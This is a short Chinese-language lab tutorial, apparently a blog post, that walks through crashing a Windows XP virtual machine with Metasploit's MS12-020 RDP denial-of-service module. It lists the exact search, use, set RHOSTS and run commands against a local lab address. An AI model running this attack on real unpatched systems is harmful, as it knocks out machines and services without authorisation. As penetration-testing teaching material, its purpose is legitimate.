背景
MS12-020全称Microsoft Windows远程桌面协议RDP远程代码执行漏洞;
漏洞影响范围:开了RDP的Microsoft Windows XP Professional /Microsoft Windows XP Home/ Microsoft Windows Server 2003 Standard Edition /Microsoft Windows Server 2003 Enterprise Edition /Microsoft Windows Server 2003 Datacenter Edition /Microsoft Windows 7。
环境
- 攻击主机:win7 + metasploit
- 目标主机:(虚拟机VM)win xp SP3p(中文版) + IE8
目的
实现对存在MS12_020漏洞的winXP系统进行渗透测试,实现蓝屏攻击
步骤
1、搭建基本环境
主机(win7):
IP:192.168.1.103
关闭防火墙,暂时关闭所有杀毒软件(由于metasploit安装在win环境存在各种问题);
靶机(winXP):
IP:192.168.1.106
关闭防火墙,
打开靶机的Terminal Services服务,
允许远程连接到此主机;确认端口3389是否打开;
2、进入win7的metasploit(我是安装在D盘,安装教程参考:https://blog.youkuaiyun.com/lcm66/article/details/83381610 )
3、扫描漏洞(查看远程服务可以利用的模块)
命令:search ms12-020
4、载入漏洞模块
命令1:use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
命令2:show options
5、设置攻击的IP地址,并查看攻击模块
命令1 set Rhosts 192.168.1.106;
命令2 show options ;
7、执行攻击
命令:exploit 或者 run ;靶机显示蓝屏;
完成。